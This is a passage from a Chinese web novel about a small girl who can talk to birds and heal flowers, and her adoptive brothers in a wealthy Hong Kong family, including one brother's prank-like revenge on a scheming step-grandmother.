如此几日下来，那些花适应了新的环境，来得格外艳丽，也算不负老夫人辛苦的付出。 这日，黎老夫人天还没亮就醒了，嘴里正念叨着院子里的鸟吵死了，打开门一看，满院子的鲜花，很多被不知哪来的野鸟给啄败了花苞！ “哎呀，我的花儿啊……” 黎老夫人跑到院子里，心疼的哭了起来。 …… “婉婉，不好了，快醒醒。” “快起床，家里来了好多偷花贼，老奶奶都被气哭了。” “该死的雉鸡，不光吃花，还把我辛苦造的巢给破坏！” 几只小燕子焦急的在窗口鸣叫。 小婉婉猛的睁开眼睛，一个轱辘坐起来，跑过去打开窗户。 “怎么只有你们，小黄和小白它们呢？” 小婉婉口中的小黄，是一只唱歌很好听的黄鹂鸟，小白则是山下过来的和平鸽，临时在家里落脚。 小燕子说：“小黄和小白它们在跟它们打架，它们数量太多，我们都受伤了。” 小婉婉看见小燕子翅膀上的血迹，急的跑回床边，用小手拍打黎墨郢。 “三哥哥，快醒醒，去打坏蛋！” 黎墨郢眉角轻蹙，睁开眼睛问：“打什么坏蛋？” “家里有许多坏蛋，欺负花花。”小婉婉爬上被子，麻溜的往头上套衣服，急得连小褂褂都来不及脱。 黎墨郢对她会预判意外的能力见怪不怪，知道老夫人珍爱那些花，如果被破坏的话，一定很伤心。 黎墨郢抱着小婉婉赶到老夫人的院子，就见不知道哪里来的鸟群环绕在头顶，到处都是翅膀煽动的“扑棱”声。 它们与家里的常驻鸟群，为了挣地盘，发出“啾啾”的叫声，花瓣儿、碎叶，混着鸟毛跟着飞，心疼的老夫人在院子里来回的转悠。 随着小婉婉的出现，几只报信的小燕子加入了现场，天空的高处，一只硕大的海东青徘徊不走。 黎老夫人见了它，更是吓得哭声都变了调。 “完了完了，我这些可怜的花儿啊，谁能帮帮我呜呜。” “阿奶不哭，婉婉在呢。”小婉婉不知道什么时候跑到她脚边，小大人儿一样递给她一张手帕。 老夫人不知道为什么，看着她坚定的小脸儿，一下就有了希望。 “婉婉，你有办法把这些鸟赶走？” 小婉婉郑重的点头，倒腾着两条小短腿跑到花丛，在满天飞舞的花瓣儿中，小脸儿严肃，两手叉腰，奶声奶气的喊了一句：“你们再捣乱，就让青青把你们都吃掉！” 高空之上，应和着她的话，徘徊在云雾边缘的海东青，张开硕大的翅膀，清越的啼鸣破开云层。 那直愣愣劈下来的厉啼，向出鞘的刀划破晨雾，连地上的草叶都被震的颤了颤。 第23章 黎墨郢的报复心 随着海东青发出啼鸣，飞禽基因链中的等级界限被唤醒。 住家的小麻雀慌乱钻进树上躲避，小燕子本能地缩了缩脖子，纷纷飞回到窝里。 白色的和平鸽更是被吓得直接飞进了屋里，“咕咕咕”的浑身发抖。 而那些外来的鸟群，在这啼鸣里，化作一团无头苍蝇，慌乱，碰撞，有好几只从天上掉下来，更多的则是向着远远的方向逃窜。 海东青徘徊了两周，也顺着它们的方向逐渐离开了。 天空清明了起来，老夫人松了口气，跌跌撞撞差点坐在地上，黎墨郢眼疾手快将她扶住。 小婉婉跑了几步，抓住地上的一只雏鸡，小脸儿上挂着余怒未消的严肃。 “是谁让你们来捣乱的？” 雏鸡拍打翅膀，两只圆润的眼睛写满无辜。 “是住在后院的人把我们抓来的，我们需要进食补充体力，才能飞回家园。” “对不起，我们不是故意的。” 小婉婉自幼听得懂鸟语，鸟了见了她，只会想要亲近，从来不会与她为敌，或者伤害她的事。 是以，小婉婉才会纳闷儿，这些鸟儿会跑到家里破坏她喜欢的花花。 “原来是这样。” 小婉婉知道，后院住的是二奶，她从第一次见面就不喜欢自己，所以，才会做坏事。 “奶奶，不哭了，鸟鸟已经飞走了，不会伤害花花了。”小婉婉跑到老夫人身边安慰道。 黎老夫人此刻也明白过味儿来，是小婉婉驱使天上的老鹰，赶走了那些鸟，她说不会再回来，应该就会安全。 “好，好，就是可怜了这些花儿，不知道还能不能活。”老夫人心里还是有些难过。 小婉婉却咧着小嘴，用轻松的童言稚语化解她的愁容。 “阿奶不怕，我给花花呼呼就不疼了。” 说完，小婉婉跑到花丛里，这朵花吹一下，那朵花吹一下。霎时，花儿们像被赋予了灵性，竟然纷纷颤动花枝，响应着她的治愈。 等小婉婉给所有的花都呼呼了一遍，虽然院子里仍然布满狼狈，但是那些被伤害过的花却都坚韧的挺拔起根茎，宛若获得了第二次生命，充斥着生机的景象。 黎老夫人又一次亲眼见证了她治愈生命的能力，激动的把她拥进了怀里。 “辛苦你了，宝贝。” “没事哒，阿奶不哭。”小婉婉用小手拍了拍老人家的后背。 小小的人儿明明才豆丁一点儿大，却发挥出无偿的力量，做到连大人都做不到的事，换了谁不会被震撼？ 而恰好站在黎墨郢的角度，看见趴在阿奶肩膀上的小家伙，疲倦的禁不住拉下眼皮，他心头一紧，走上前去。 “阿奶，时间还早，我带婉婉回去睡个回笼觉，你先让人把这里整理好，别浪费她的努力。” “好，你快去吧。”黎老夫人爽快的答应。 黎墨郢抱着小婉婉才走了几步，就感觉到怀里的小身体变软，双臂紧了紧，他轻轻抚摸她的小脸，见她动了一下，确定只是睡着，才安下心来。 而这一次他抱着婉婉回去的路上，体内那股力量似乎又要失控，冲撞着他的理智，想要破坏些什么。 他忍了一路回到房间，把小婉婉放在床上，为她盖上小被子，推开了房门。 “来人。” “三少爷。”专门伺候他的佣人走了过来。 黎墨郢紧攥的拳头指节泛白，骨缝里像要渗出血，喉结滚动了几下，才将愤怒咽回去。 “你去打听，那些鸟谁弄回来的，打听到了不要声张，回来汇报给我。” “是，三少爷。”佣人服了服身体退下。 黎墨郢一直都是整个黎家最难伺候的主，所以，能就在他身边伺候的，只有家里的老佣人，要么就是有些手腕，能看懂主人脸色，胆大心细能扛事的。 那些人里随便拉出一个，都能抵上一个班子。 黎墨郢交代下去的事情，不出两个小时，就有了答复。 “三少爷，是吕姨奶奶不知从哪弄来那些野鸟，破坏了老夫人的花园。” “知道了，下去吧。” 黎墨郢深邃的眸底掀起暗涌的波涛。 幼年被暗算的经历，让他深知这偌大的黎家，遍布龌龊和卑鄙。 二奶这么做，无非就是给阿奶添堵。 就算找到证据揭发，在没有造成太大损失的情况下，也只会让她道个歉，最多，再用一些经济补救。 可是婉婉和阿奶却因为她伤了神！ 黎墨郢起身回到卧室，小婉婉已经睡醒了，狼吞虎咽的吃着王妈给她送来的水饺，正是老夫人得知她喜欢吃后，特意找了内陆老板开的餐厅去给她买的。 小家伙吃到了心爱的美食，精气神儿都恢复了，两颗圆溜溜的眼睛都亮晶晶的。 “三哥哥，吃一个！”小家伙用勺子小心的舀起一个，送到他嘴边。 黎墨郢抿着唇摇头，拿起手帕，帮她擦拭小嘴儿沾上的酱汁。 “婉婉，一会儿吃饱了，跟三哥去花鸟市场怎么样？” 小婉婉灵机一动，问：“是要给阿奶买花花吗？” 黎墨郢继续摇头，小丫头不懂什么叫讳莫如深，只觉得三哥哥的表情让她看不懂。 “给二奶买。” “不给她买，她是坏蛋。”小婉婉可是分得清好坏的。 她一直记得，是她让鸟儿来祸害花花的。 黎墨郢用指尖刮刮她的小下巴，笑着说道：“得买，而且还得多买。” …… 黎墨郢带小婉婉去了一趟花墟。 不出三天，黎家的半个庄园里，只要有空地区域，便被种满了花卉。 而且还都是那种香味儿最浓烈的百合、玫瑰等蔷薇科品种，存活能力极强，花香散播可达几里。 “啊啾！” 吕洁芳从早上睁开眼，就一直在打喷嚏，鼻涕流个不止，两只眼睛肿得快要睁不开。 伴随着这些症状，她身上的皮肤也奇痒难耐，经过她指甲的抓挠，很快就起了长长的红印。 后来又从那些红印中，股起接连成片的皮疹，颜色从淡红色不等的红斑，遍布全身。 吕洁芳被痛苦折磨得嗷嗷直叫，一个小时后，因为花粉过敏被送进了医院。 第24章 少给我糊弄人 “三少爷，二奶奶进了医院，墨尘少爷就让他那边的下人，把他们园子周围的花全拔了。” 黎墨郢院里的佣人过来禀报。 黎墨郢正陪着小婉婉在他的院子里玩沙土，小小只推着一辆玩具车，将沙土装车后再倒出去，玩的不亦乐乎。 黎墨郢坐在摇椅上，翘着二郎腿，脚尖儿轻轻一点，摇椅前后晃了两晃，悠闲又惬意。 “拔了就再种，反正后院的花有的是，多挖一下花苞大的，移植过去。” “是。” 佣人退下，黎墨郢站起身，看见小婉婉玩的脏兮兮的小手和小脸儿，烦恼的拧了拧眉。 “要吃饭了，过来洗手。” 黎墨郢带孩子虽然不像黎墨城那样温柔，但他的洁癖让他在卫生方面非常细致。 但凡小婉婉跟他一块儿出现在人前，身上的衣服，小手、小脸儿必然都干干净净，浑身上下也透着甜甜的奶香气。 小婉婉听到他的呼唤，迈开小腿跑过去。 黎墨郢打开水龙头，让她自己冲洗小手，他则拿着毛巾，沾水以后，把她的脸、脖子上面的灰尘全都擦拭一遍。 最后他让小婉婉坐在小凳子上，拿起羊角梳，解开头绳，把头发梳顺后，再用小皮筋儿整齐的捆成一个冲天小揪揪，衬得小家伙灵动的小脸虎头虎脑的。 “好了，我们去找阿奶。” 黎墨郢没有那么多耐心，拉着小婉婉的手走路，迈开两条长腿就是赶路。 小婉婉拉着他的大手，累的吭哧吭哧的，小脸通红，没一会儿就走不动了。 “三哥哥，抱。” 黎墨郢停下来，望着累的气儿都喘不匀的小家伙，撇了撇嘴。 “看你那两条小短腿儿，走路都走不快。” 黎墨郢嘴上抱怨着，却一点儿没耽误他抱起孩子。 小婉婉在他怀里，抱着胳膊，小嘴儿挂起了油壶。 “我每天都吃多多的饭，很快就长高了，哼！” 黎墨郢鼻腔发出不屑的哼声，来到老夫人的院子里，之前被野鸟啄食的花草，在这两天的休养下，又重新绽放起来，满院飘香。 黎老夫人心情自然好了起来，再加上黎墨郢把吕洁芳送进医院，帮她抱了仇，她也就没将这些事告诉老爷让他烦心。 至于吕洁芳那边，她自己搞怪在前，心虚之下肯定也不敢告状，只能哑巴吃黄连，咽下这个闷亏。 “哎呦，我的小宝贝，这小揪揪扎的好像个小炮弹，阿奶给你重新弄。” 黎老夫人把小婉婉抱坐在腿上，给婉婉重新梳了两个小揪揪，然后让佣人去她匣子里拿来合适的头饰，给她装点。 然后她严肃的交代黎墨郢：“你既然要带婉婉，就多学着点儿，少给我糊弄人！” 黎墨郢默默的看向小婉婉，小婉婉也看着他，大眼瞪小眼儿了一会儿，最后是小婉婉拿起一块儿糕点，笑嘻嘻的给他递过去。 “三哥哥吃糕糕。” 小家伙哄人的意思不要太明显，黎墨郢把糕点接过去，小口的吃着，就当给她个面子。 饭后。 黎墨郢带小婉婉到张南院子里取她的东西，路上，被一位面相温润的中年男子拦截。 “阿郢。” 黎墨郢站定脚步，还算恭敬的叫了声：“三叔。” “我正要去找你，你有时间吗？跟三叔聊两句？” 黎墨郢已经知道他想说什么。 黎立信是老爷的三房姨太太所生，其生母在他幼年亡故，便跟在二房吕洁芳身边待了几年。 后来老夫人发现吕洁芳苛刻他的吃穿，还总是用言语贬低和打压，心中不忍，就将他要过去自己带着。 这么多年过去，黎立信受生长环境影响，坚持只娶一房妻子，而且丁克到现在都没有生小孩。 黎墨郢觉得，他应该是看透了大家族的本质，厌倦争斗，想要平平淡淡的生活。 而他今天过来，也是感念两位长辈对他的养育之恩，找他说和停火的。 “我去给婉婉拿东西，三叔先去院子等我。”黎墨郢并不讨厌黎立信，既然他开了口，总要给些面子。 黎立信点了点头，朝着黎墨郢的院子走去。 黎墨郢拿完东西回来，先送回房间，让婉婉自己换上小褂褂先睡。 他则端了一壶茶水来到院子，以长辈之礼招待黎立信。 黎立信望着黎墨郢尚且稚嫩的面孔，眉宇间不见半分浮躁，不是故作拿捏，而是在一举一动之中，都透着一股静气。 不禁想起，老爷子在他五岁时对他的认可——阿郢有他当年气血风范，全家上下远不及，待长大成人，必有一番造就。 这才导致被有心人听去，对小小年纪的他下手…… 黎立信心中一声暗叹，十三岁的孩子正是生机勃勃的年纪，阿郢却早在这种争斗的环境下，培养出一颗铁石心肠。 “阿郢，你二奶奶虽然有不对的地方，可我们毕竟是一家人，给她一次教训就该收手，要是闹得太僵，就没法收场了。” 黎立信并没因为他年纪小，就跟他绕弯子和稀泥，而是直接挑明来意，以诚恳的态度劝说。 黎墨郢只垂眸碾着茶叶，指节清瘦，动作缓慢，仿佛并没有将他的话听进去。 黎立信只好开口再劝：“你二奶奶娘家人都不在了，除了黎家，她没有地方可去。我昨天去医院探望的时候，她气色很差，你二叔、哥哥弟弟们都在场，话里话外没有埋怨过谁，让她回来，这件事基本就算过去，二奶奶以后也会收敛的。” “只是收敛，却不知洗心革面。”黎墨郢睫毛垂落，在眼睑投下淡淡阴影。 他的话音没有情绪，反倒是在整理一团纷乱的线，理清楚了，才能给出明确的答案。 “她如今都是那把年纪，又有多少年可活？将来这个家还得靠你们年轻人来掌舵，过去那些不好的事，终会过去，这个家，将来是你们说了算。” 黎立信的话透着两层含义。 第一层意思，吕洁芳这次住院，多半是查出了不好的病。 第二次意思是吕洁芳活着的时候，能够被他死死压制，她的子孙们也都不是他的对手，又何况在她死后？ “道理是这样没错。”黎墨郢放下茶杯，举起茶壶，往黎立信的杯子里添了些水。 黎立信抬眸看去，以为他会答应作罢。 却见少年眼底盛几分轻轻的作弄，茶壶撂下，在桌上发出一声低沉的闷响。 “一棵树上的果子成熟以前，总是会先烂掉几颗，三叔若连一个都舍不得丢，就不怕被那些腐烂果实的脓液，脏了手？” 第25章 不能小看这些孩子 黎墨郢的话，让黎立信神色一怔。 随即还不等他反应，黎墨郢起身道：“婉婉一个人在房间，我去看看她，三叔自便。” 说完，他颔了颔首，朝着屋里走去。 黎立信望着少年舒展从容的背影，许久，无奈的笑了。 这趟过来，他本是抱着息事宁人的打算，从中调和一下矛盾。 却不想心思被毛孩子戳穿，还反过来被说教了一顿。 看来以后，不能小看这些孩子了。 …… 黎墨郢回到房间，小婉婉已经自己换上了从张南那取来的新睡裙。 粉红色的小裙子上，装点着各种颜色漂亮的小花朵，皮肤白嫩的小丫头攥着两只小拳头，一只枕在脸蛋儿下面，张开的小嘴流出一汪亮晶晶的水印儿，睡相又憨又甜。 黎墨郢习惯性的用手绢给她擦拭嘴角，然后给她换了个舒服的睡姿，才在外面躺下。 最近因为有她在，黎墨郢都睡得很安逸。 今日也是躺下就有了困意，伴着身边小人发出奶香味儿的呼吸声，很快就睡着了。 不过他还没睡多久，就听到院子里响起说话声，眉角皱了皱，并不打算理会。 那道说话声却越来越近，直到房门被叩响。 “三少爷，是墨尘少爷过来，有事找您商量。” 黎墨郢睁开凤眸，向门口看了一眼，慵懒的背过身去。 “让他等着，别烦。” 门外。 佣人好脾气的劝道：“墨尘少爷，三少爷的脾气您知道，他睡觉的时候不喜欢被打扰，您还是等他睡醒再说吧。” 黎墨尘眼睛里的阴暗快要溢出来。 不过，他的脸上仍然噙着微笑，推了推鼻梁上的金丝眼镜，故作疑惑：“我听说最近，他的失眠症不是好了很多？怎么还怕人吵？” 佣人眼尾浮现不悦，知道他这种笑面虎，非得将虚伪拆穿才能老实。 “墨尘少爷别揣着明白装糊涂，三少爷不是怕人吵，是刚刚三爷来替二奶奶求情，才让他不高兴的！” 黎墨尘脸上闪过一抹尴尬，他用足够屋里能够听见的声音说道：“好吧，既然三叔已经来过，我就不啰嗦了，等阿郢睡醒，你帮我转告他…… 我已经替阿奶向老夫人赔过不是，并重新给她买了一些知名品种送去，还望他能够看在一家人的份上，别再为难，若不然闹到阿爷那去，一个巴掌拍不响，对谁都没有好处。” “好的，我会转告三少爷。” “那我先回去了。” “您慢走。” 就在黎墨尘前脚刚离开，佣人对着他的背影啐了一口。 “当我们三少爷是被吓唬大的？还敢拿老爷来压人！” 黎墨郢打开房门，佣人就在门口候着。 今天小婉婉睡的时间有些久，一觉就了三个多小时，黎墨郢起来，她都还趴在床上呼呼大睡呢。 “黎墨尘去过阿奶那儿？”他问佣人。 佣人默了默，回答：“是，老夫人刚才让人过来交代过，二姨奶长了教训，差不多就可以了。” 黎墨郢发出冷冷的轻哼，老夫人之所以提出算了，完全是站在顾全大局的出发点，不想把事情搞的太僵。 可黎墨郢如果真的算了，太不符合他的个性。 转身，他回房叫醒了正在熟睡的小丫头。 小婉婉被摇醒，两颗黑黝黝的大眼睛眨巴几下，小嘴圆润的打了个小哈欠，萌萌哒又乖巧的叫了声：“三哥哥。” “你能跟鸟说话？” 黎墨郢想到前几天搞出“闹鬼”的乌龙，还有那天在主院，亲眼看见她指挥老鹰吓走了那些野鸟。 他基本确信，她有这样的能力。 小婉婉在他富有洞察力的眼神里，点了点头。 “我能呀。” 发觉奶团子又一个神奇的能力，让黎墨郢的浑身的细胞都在兴奋，就像是找到‘同类’，想要更多的去了解。 他迫不及待的问她：“那你能不能让它们帮你做事？” 小婉婉做出思考状，她更多的时候都只跟鸟儿们对话，还从来没有要求过它们做什么。 是以，她不太确信：“我不知道。” “那我们试一试！” 黎墨郢俯首在她耳边，嘀咕了一会儿，小婉婉听完以后，跑到窗边呼唤：“小白，小黄……” 很快，伴随着小人儿的呼唤声，一只小麻雀，和一只白鸽拍打着翅膀，飞到窗台上。 “怎么了婉婉？” 小婉婉按照黎墨郢的要求，跟它们一字一句的说：“你们能帮我把那些野鸟找回来吗？” 小麻雀拍动翅膀，从窗台飞到电线上：“不可以，它们回来又要吃花儿，还要霸占我们的鸟窝！” “不是，把它们找回来，除了阿奶院子里的，别的花花随便它们吃。” 等到他们吃饱了，就有力气回家，小婉婉觉得三哥哥的办法真是太棒了！ 小白鸽：“那我们试试吧。” “我等你们的好消息哦。” …… 虽然黎墨尘把黎墨郢种的花都给拔了，可等到花粉散去，也得两天时间。 吕洁芳出院的那天，从头到脚把自己包裹的严严实实，脸上更是戴了两层口罩，生怕再吸入一点儿花粉导致过敏。 “阿奶，您放心吧，我已经重新买了花赔给老夫人，黎墨郢要是再跑到这边来种花，我就上报给老爷，让他吃不了兜着走！” 吕洁芳听后安下心，回屋后关门闭户，小心的保养着身体。 然而傍晚的时候，她院子的上空徘徊着众多野鸟，因为它们刚刚才在花园里饱餐一顿，羽毛上沾染的花粉，被风一吹，落了满院都是。 还有它们排泄的粪便里，也都带着花种，这些种子落到地上很难清理干净，只要遇到雨天，就会流进土壤。 到时生根、发芽，开出馥郁芬芳的花朵……想也知道，将来吕洁芳的院子里会是一番什么样的景象。 那些鸟不过徘徊了片刻功夫，翅膀的拍打的声浪渐远，努力飞回它们的家园。 而吕洁芳刚刚收拾干净的院子里，花瓣儿、鸟粪混合着羽毛，飘在半空，佣人们急得不行，手忙脚乱的收拾起来。 “阿啾！啾！” 吕洁芳躺在床上，鼻子里塞着两团纸，仍然阻挡不了对花粉产生的过敏。 当她发现身上的皮肤再一次痒起来，她崩溃的抓乱头发，躺在床上发出阵阵哀嚎。 “来人，来人啊……我要死了，送我去医院！” 第26章 三哥哥，你好幼稚 黎墨城是一早上回来的。 当时，小婉婉正蹲在黎墨郢屋子的墙角，观察蚂蚁搬家的细节。 并且她还时不时的，用小饼干碎屑投喂它们，通红的小嘴儿高高的弯着，奶声奶气的嘀咕：“小蚂蚁们，吃饱饱的，才有力气干活。” “婉婉！” 黎墨城穿着一身黑西服，脚边放着一只硕大的行李，显然回来的第一瞬间，就过来探望心心念念的小妹妹。 小婉婉听见熟悉的呼唤，扭过头来，在看见黎墨城的瞬间，‘嗖’的从地上弹起来。 “大哥哥！” 就在小家伙准备奔向黎墨城的一瞬间，一只清瘦的手，拉住了她的衣服。 小婉婉努力的挥舞两只小手，小皮鞋也在地上蹬得很辛苦，可就是跑不动。 回头一看，竟然是黎墨郢抓着她，不让她去。 “三哥哥，你好幼稚。”小婉婉撅着小嘴儿，挂起了油壶。 黎墨郢却不由分说的把她抱起来，转身就进了屋，还把门也给带上了。 “臭丫头，大哥一回来就想跑，我同意了吗？” 黎墨城有多么喜欢婉婉，黎墨郢自然是知道的，他不用猜也知道他是过来抢人的。 回忆起最近几天跟她的相处，黎墨郢直接把门栓一挂，把黎墨城隔在外面。 而后坐到椅子上，抱着她不撒手。 这种感觉就像是回到小时候，得到了一个心爱的玩具，只想独占，谁也别想碰一下。 “开门。”门外，响起黎墨城低沉的嗓音。 黎墨郢嘴角抽了抽，低沉的回：“大哥才刚到家，舟车劳顿还是先休息一下，晚点儿再过来。” “黎墨郢，我数到一。”房门，被黎墨用力推动。 随即，开始了死亡倒计时…… “三。” 小婉婉听见黎墨城生气的语气，在黎墨郢怀里踢腾开了。 少年英俊的脸黑透，捏起她的小脸蛋儿扯了扯：“没良心的，有奶就是娘！” “二！” “三哥哥不听话，大哥哥都生气了！”小婉婉抱着小胳膊跟他理论。 “一！” 就在倒计时结束的时候，黎墨郢才松开手，低声对她说了一句：“玩一会儿就回来，不准去太久！” 小丫头赶忙向门边跑去，一边喊着：“大哥哥我来啦！” 门外，黎墨城原本也没打算跟黎墨郢一般见识，只是吓唬一下屋里的皮猴子而已。 听见小丫头奶蒙蒙的话音，他唇角微扬，等到门打开，下意识张开手臂。 小婉婉一把投入到大哥哥的怀抱里，带着干净的气息，温暖又敦实。 而且，大哥哥对她说话永远都那么温柔，可比三哥哥好多了。 “大哥哥，你怎么才回来？” 黎墨城望着小奶团子依赖的大眼睛，软乎乎的小身子就像猫儿一样，心肠软的快要融化掉了。 “对不起，大哥这次耽误的有点儿久了，婉婉想我了吗？” “想！”小婉婉把毛茸茸的脑袋瓜靠在他肩膀，两只小手也搂住了他的脖子。 黎墨城发出一声愉悦的喟叹，也不管屋里的黎墨郢，抱着她起身就走。 “去大哥屋里，看我给你带的礼物。” …… 黎墨城怀里抱着小丫头，英俊的面孔神采飞扬，似从头到脚都散发着愉悦感。 后面，佣人拉着他的行李亦步亦趋，一块儿进了隔壁的南门。 “婉婉先坐这儿，大哥给你拆礼物。” 说着，黎墨城打开行李箱。 虽然内地的经济发展有限，但黎墨城跟随父亲去的城市，衔接着港口，也有不少从国外进口的好东西。 黎墨城就像淘宝贝样，每天买一点，不知不觉就把行李都给买装满了。 首先他拿出来的就是两只儿童款的黄金手镯，上面镶嵌着五颜六色的宝石，华贵又艳丽，一看便知价值连城。 “来婉婉，戴上试试。” 黎墨城拉起小婉婉的手腕，发现自己虽然买了儿童款，可妹妹还是太小了，要等两年才能戴。 “买大了，算了，看下一个。” 黎墨城又拿出一只用塑料制的玩具公仔，放在地上以后，公仔既会唱歌，底部还能发射出彩色的光环，正是目前最流行的一款儿童玩具。 相较于华丽的手镯，才三岁半的小婉婉还是更喜欢玩具，两只大眼睛直接就定格在了地上。 “哇，大哥快看，小鸭子会发光！” “这不是鸭子，是企鹅。” 黎墨城又从箱子里掏出另外一个，是一只公仔熊的毛绒玩具，可以录音。 “看看这个。”黎墨城事先就录好了，按下开关，公仔熊开始说话：“可爱的小婉婉，你真棒！” “哇，熊熊在跟我打招呼呢！”小婉婉挥舞起了两只小手，简直不要太开心了。 黎墨城将玩具熊放进她怀里，紧跟着，拿出了一堆吃的，有进口的巧克力、棒棒糖、奶油饼干，以及许多零零散散的小零嘴。 他拆开一颗巧克力，放在她的小嘴儿里，用手轻轻刮了刮她的小鼻尖。 “好吃吗？” “好七！”小婉婉小鸡啄米似的点头。 下面还有各式各样的毛绒挂件儿，最后则是具有民族特色风格的小衣服和小皮鞋。 黎墨城如同献宝一样推到小家伙面前，然后蹲下去，抚摸她的脑袋瓜问：“婉婉喜欢吗？” “喜欢，谢谢大锅锅！”小婉婉嘴里含着巧克力，抿着小嘴儿，吧唧，在他脸上亲了一口。 黎墨城瞬间觉得，做的这一切都值得了。 而就在房门外，听见说话声的黎墨郢终是克制不住心头的醋意，抱着胳膊走进来。 “大哥又不止这一个妹妹，却只给她带礼物，没我们的份儿？” 黎墨城起身，看着身后宛如阴魂不散的三弟，嗤了一声，开口说教：“没事儿少跟黎墨冰一起玩，好的不学，学他的阴阳怪气！” 说罢，他从口袋里拿出一只名牌钢笔，放在书桌上。 黎墨郢走过去拿起钢笔，目光却落给光顾着吃和玩的小丫头，深深白了一眼。 “没良心的。” 大概是他身上散发出的幽怨太重，小婉婉这才发现他的存在，眨了眨萌萌哒大眼睛，小手拿起了一块糖果，向他递了过去。 “山锅锅吃糖糖。” 黎墨郢心情稍微转好了一点儿，抬起手，正要接。 另一只凭空伸来的大手，直接将他拦住。 黎墨城嫌弃的瞪着他：“要吃自己买去，这是我给婉婉带回来的！” 第27章 亲兄弟明算账 黎墨郢气得扭头就走，经过窗口时，身上释放出的煞气，惊得树上的鸟全都拍打着翅膀飞走。 “大哥哥，三哥哥生气了。”小婉婉拉起黎墨城的大手商量：“婉婉吃不了这么多糖，给三哥哥分一点。” 黎墨城看着小家伙天真的大眼睛，写满了对黎墨郢的关心，心说才几天不在，就被老三那家伙钻了空子。 一时间，心里有些不是滋味儿…… 不过到底他是大哥，不像黎墨郢小肚鸡肠。 于是他抱起婉婉说道：“大哥逗他的，先在我这玩一会儿，等等把这些都拿到他那儿去，你们两个一起吃。” “好哒。”小婉婉认真的点了点头。 随即，跟黎墨城在他这边玩了起来。 …… 话说，黎墨郢气冲冲的回到院子，佣人发觉他脸色不好，纷纷自发退走，免得招惹到大魔王，惹祸上身。 而这几天已经习惯了热闹的黎墨郢，忽然守着寂静的院子，浑身上下的细胞都叫嚣着烦躁，看什么都不顺心。 半个小时后，他来到大门口，向南门看了一眼，只听见隔壁院子里传出阵阵笑声，掉头跑到摇椅上坐下。 摇椅越晃动，他心里就越气。 “没心没肺的家伙，不就是几块糖，当谁买不起！”黎墨郢起身跑出了院子。 …… 黎墨冰经过几天休息，身上的伤已经好了很多，可以下地走路。 正当他闲着无聊，准备逗弄一下新买的鹦鹉。 忽然，笼子里的玄凤鹦鹉仿佛受到惊吓，彩色艳丽的羽毛炸起，胡乱扑打着翅膀想要逃走。 “大魔王，大魔王！” 黎墨冰满头雾水，正在纳闷儿。 听到身后传来脚步声，扭头一看，漂亮的桃花眸弯起来，俊脸上的笑又精又坏。 “今天不用带孩子了，有闲情雅致到我这儿来？” 转而，黎墨冰又拉长调的“噢”了一声，欠揍的问：“是不是大哥回来，把小妹抢走，没人跟你玩了？” 黎墨郢就像跟地面有仇似的，浑身上下带着股有气没处撒的劲儿，脚步又重又急。 “黎墨冰，借我点钱。”黎墨郢开口便是一句。 黎墨冰掏了掏耳朵，怀疑自己耳背，没听清他说什么。 “你刚刚说什么？你要跟我借钱？” “嗯。”少年愤怒又压抑的鼻音，从鼻腔挤出来的。 黎墨冰觉得滑稽，眼睛瞪得比刚才圆了一些，里头还带着笑意的余温，却又掺杂着真真切切的诧异。 “你管我借钱？你的零花钱呢？” 据黎墨冰所知，黎墨郢除了每个月在账房领钱，大娘和大哥每次找他帮忙，都要被他剥削一笔佣金。 那些钱攒在一块儿，也有不少。 “之前买花用完了，你借我两千，我回头还你。”黎墨郢气呼呼的霸占了他的椅子。 黎墨冰恍然大悟，这几天他虽然在家里养伤，可山庄里闹出的动静，没逃过他的耳朵。 “咯咯咯”的笑了一阵儿，他立马回了屋子，拿着钱出来。 “行吧，咱们俩兄弟一场，你既然跟二哥开了口，我自然要借给你！”说着话，他将钱放在旁边的茶几上。 黎墨郢刚要动手去拿，他又一把按住。 紧跟着，他漂亮的脸笑得能开出一朵花儿来，又精，又坏的拿出笔跟纸。 “利息我就不收了，你写个借条，钱再拿走。” 黎墨郢：“……” “你觉得我会赖账？”黎墨郢拳头攥得直响。 “我信你……”黎墨冰挑了挑眉，随即莞尔一笑：“个鬼！臭小子，亲兄弟也得明算账，你想从我这儿拿钱，借条就得写。” 黎墨郢黑着脸拿起笔，在纸上写了个拮据，签了字交给黎墨冰。 “可以了吗？” “OK，没问题。”黎墨冰松开手，拿着拮据揣进口袋，好奇的问：“你用这些钱是做什么？” 然而黎墨郢根本不答复，揣着钱，起身就走了。 黎墨冰望着他气冲冲的背影，无奈的摇了摇头，转身继续用香瓜子儿逗弄安静下来的鹦鹉。 “来，说一句：你真漂亮。” 玄凤鹦鹉：你真漂亮！ …… 小婉婉在黎墨城院子里玩的正开心，这时，张南院子里的佣人过来请示。 “大少爷，小小姐的哥哥过来了，现在在五姨太那里，五姨太问您能不能让小小姐过去见一面。” 黎墨城闻言先是愣了一下，随即想起，小婉婉在内地的兄弟姐妹，想到他们才是小婉婉的至亲，他的内心不免升起一股复杂的情绪。 不过张南既然派人来这里，他总是要给面子的。 再加上他也没有立场阻止小婉婉跟亲哥哥见面，于是便答应：“好，我这就带她过去。” 在路上，黎墨城询问佣人：“来港城的是她哪位哥哥？忽然过来，提前有打过招呼吗？” “是大哥，听说是跟着您和大爷一起，混着商船的队伍摸进来的，事先没打过招呼。” 佣人在黎家打工多年，又是土生土长的港城人，本来就对内陆人带有偏见。 对五姨太那个长子偷偷摸摸的作风，充满了鄙夷。 “是不请自来的？”黎墨城挑了挑眉。 佣人不屑的回话：“没错，他说是因为太过思念母亲，才偷偷跟着过来看一眼，但具体是想他母亲，还是有别的事，就不得而知了。” 黎墨城淡淡的“嗯”了一声。 看向怀里的小婉婉，本以为听到亲哥哥过来，她会很高兴。 然而她平静的小脸儿上一点儿反应都没有，仿佛对方只是个无关紧要的人。 黎墨城不难猜测，小婉婉跟亲哥哥的关系并没有那么好。 顿时，刚才心里的那点儿小纠结，消失不见。 至于她那位‘大哥’是来做什么，看一看自然就会知道。 黎墨城加快了脚步，随着张南的院子越来越近，小婉婉整个小人儿趴在他肩头，更显得一点儿兴致都没有，甚至还有点儿发蔫儿。 “婉婉，困了吗？”黎墨城关心的问。 小婉婉摇了摇头，大眼睛下意识向着张南的院子看去，撅起小嘴儿，搂着他脖子。 “不喜欢大哥哥！” 哦，小婉婉说不喜欢的‘大哥哥’应该是另一个，可不是说他！ 黎墨城怀抱着小人儿，在心里想。 第28章 亲哥哥来了？ 客厅里。 已是青年的童亮眉头紧拧，一张棱角分明的脸上，挂着黑沉沉的暗影，连窗外透过来的阳光都难以驱散。 